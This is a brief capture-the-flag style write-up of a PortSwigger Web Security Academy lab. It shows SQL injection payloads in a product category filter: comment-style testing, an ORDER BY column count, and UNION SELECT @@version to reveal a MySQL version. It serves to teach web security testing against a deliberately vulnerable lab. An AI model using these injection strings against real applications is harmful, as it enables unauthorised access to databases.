https://portswigger.net/web-security/sql-injection/examining-the-database/lab-querying-database-version-mysql-microsoft

Lab objective: Display the database version string.

Lab: SQL injection attack, querying the database type and version on MySQL and Microsoft

We know that this lab contains a SQL injection vulnerability in the product category filter.

This SQL query does not work category=Accessories' AND 1=1--

So, we will change to the method of commenting instead -- we use #

Now the query will category=Accessories' AND 1=1#

From the commenting style we know that it is MySQL

Now we need to know column number, column type and vulnerable column

Find column number query is category=Accessories' ORDER BY 2#

Find column type and vulnerable column query is category=-Accessories' UNION SELECT 'A','B'#

Now we will find the version of the database.

The query will category=-Accessories' UNION SELECT @@version,'B'# And our lab is solve.